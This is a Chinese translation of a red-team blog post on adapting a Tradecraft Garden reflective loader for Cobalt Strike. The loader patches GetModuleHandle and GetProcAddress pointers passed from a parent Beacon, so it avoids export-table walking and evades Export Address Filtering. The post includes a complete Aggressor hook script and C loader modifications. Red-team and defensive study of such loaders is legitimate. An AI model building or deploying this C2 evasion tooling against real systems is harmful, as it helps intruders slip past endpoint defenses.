【翻译】Harvesting the Tradecraft Garden - Part 2
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
引言
在我的上一篇文章中,我们通过将 Tradecraft Garden 中的一个 PIC 反射加载器集成到 Beacon payload 中进行了探索。我提到的一个特性是在 Crystal Palace 的链接过程中传递额外的参数变量。我举的例子是 guardrail 加载器,它使用用户提供的密钥来加密嵌入的资源。然而,由于当时是凌晨 1:30,我没有提供实际示例...本文的目的是回过头来,使用指针修补加载器提供一个示例。
反射加载器需要解析加载和执行所需常用 Windows API 的函数指针。这些 API 通常包括 VirtualAlloc、LoadLibrary,可能还有 VirtualProtect。大多数加载器通过遍历 PE 的导出地址表(EAT) 来实现这一点,直到找到 GetModuleHandle 和 GetProcAddress 的函数指针,然后使用这两个 API 来解析所有其他所需 API 的地址。
后渗透反射加载器
行为分析和 Export Address Filtering (EAF) 等保护措施的出现,可能需要避免遍历 EAT。为此,Cobalt Strike 提供了一个名为 POSTEX_RDLL_GENERATE 的 Aggressor 钩子,当用户执行依赖后渗透 DLL 的命令(如 execute-assembly
、powerpick
、psinject
等)时,会调用该钩子。
该钩子传递了两个有趣的参数:
-
$5
- GetModuleHandle 指针 -
$6
- GetProcAddress 指针
这些指针实际上来自父 Beacon,之所以有效是因为像 kernel32 这样的 DLL 的基地址在计算机重启之前是固定的。因此,您可以确信 GetModuleHandle 和 GetProcAddress 的指针在每个进程中都是相同的。这使得这些函数指针可以直接修补到反射加载器中,而无需遍历 EAT 来查找它们。
该加载器的规范文件要求使用"GPA"名称传递指针。请注意,需要使用 Sleep 的 cast 函数将参数转换为原生 Java 字节数组。
$hashMap = [new HashMap];
[$hashMap put: "$GMH", cast($5, 'b')];
[$hashMap put: "$GPA", cast($6, 'b')];
postex-udrl.cna
我的完整 Aggressor 脚本如下所示:
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
subprint_info{
println(formatDate("[HH:mm:ss] ") . "cE[Crystal Palace]o " . $1);
}
print_info("simple_rdll_patch loaded");
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
local('$postex $arch $file_path $spec $hashMap $final');
$postex = $2;
$arch = $3;
print_info("Running 'POSTEX_RDLL_GENERATE' for " . $1 . " with architecture " . $3);
# get path to spec file
$file_path = getFileProper(script_resource("garden"), "simple_rdll_patch", "loader.spec");
# parse that spec
print_info("Calling LinkSpec.Parse");
$spec = [LinkSpec Parse: $file_path];
# build hashmap
$hashMap = [new HashMap];
# add function pointers
[$hashMap put: "$GMH", cast($5, 'b')];
[$hashMap put: "$GPA", cast($6, 'b')];
print_info("HashMap: " . $hashMap);
# apply spec
print_info("Calling spec.run");
$final = [$spec run: $postex, $hashMap];
if (strlen($final) == 0) {
warn("Failed to build package");
return $null;
}
print_info("Final Size: " . strlen($final));
# return the new loader + dll
return $final;
}
postex-udrl.cna
修改加载器
我们还没有完成,因为和之前的文章一样,garden 的加载器并不是专门为 Cobalt Strike 设计的,所以我们需要做一些修改来使其兼容。这些修改来自 Post-ex User Defined Reflective DLL Loader 文档。
第一个修改是将 ReflectiveLoader()
的函数原型从 void ReflectiveLoader();
改为 void ReflectiveLoader(void* loaderArgument);
。这是必需的,这样 Cobalt Strike 客户端中命令提供的任何参数都可以在 post-ex DLL 加载到内存后传递给它。
第二个修改是解析 .rdata
段的位置,并通过指向 RDATA_SECTION
结构体的指针将其传递给 post-ex DLL。这是可选的,但它确实允许一些 post-ex DLL 混淆自己的只读数据。
typedef struct {
char* start; // The start address of the .rdata section
DWORD length; // The length (Size of Raw Data) of the .rdata section
DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;
loader.h
我最终在 LoadSections
方法中实现了这个功能,因为我们已经在遍历各个 section 了。
voidLoadSections(IMPORTFUNCS * funcs, DLLDATA * dll, char * src, char * dst, RDATA * rdata){
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
/* is this .rdata? */
char name[IMAGE_SIZEOF_SHORT_NAME + 1] = {0};
__movsb(name, sectionHdr->Name, IMAGE_SIZEOF_SHORT_NAME);
if (funcs->strncmp(name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
rdata->start = sectionDst;
rdata->length = sectionHdr->SizeOfRawData;
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
}
/* advance to our next section */
sectionHdr++;
}
}
loader.h
RDATA rdata = { 0 };
LoadDLL((IMPORTFUNCS *)&funcs, &data, src, dst, &rdata);
...
loader.c
这也需要我在 findNeededFunctions
方法中添加 strncmp
函数。
hModule = (char *)pGetModuleHandle("MSVCRT");
funcs->strncmp = (__typeof__(strncmp) *) pGetProcAddress(hModule, "strncmp");
loader.c
在此之后,剩下的工作就是解析入口点并调用它两次。
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);
entryPoint((HINSTANCE)src, 4, loaderArgument);
loader.c
结论
希望这个示例能够有趣地展示 Crystal Palace 的这一特性,同时再次感谢 Raphael Mudge 创建了如此有趣的项目。
另一个可以利用此加载器的地方是通过 BEACON_RDLL_GENERATE_LOCAL 钩子,当 Malleable C2 中的 stage.smartinject
设置为 true
时。这与上一篇文章中展示的 BEACON_RDLL_GENERATE 钩子类似,但此钩子会在通过 Cobalt Strike 工作流(如 spawn
)生成新的 Beacon payload 时被调用。因此,BEACON_RDLL_GENERATE_LOCAL 钩子可以像 POSTEX_RDLL_GENERATE 一样从父 Beacon 传递这些函数指针。
然而,在 CS 4.11 中这并不容易实现,因为新的 PrependLoader 尚未具备使用嵌入式函数指针的功能。因此,除非将 stage.rdll_loader
设置为 StompLoader
,否则该钩子实际上会被忽略,这在一定程度上违背了我们在此尝试实现的目标。随着 PrependLoader 的不断成熟,这一点无疑会在未来有所改变。
原文始发于微信公众号(securitainment):Tradecraft Garden 实战:PIC 加载器设计与实施
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论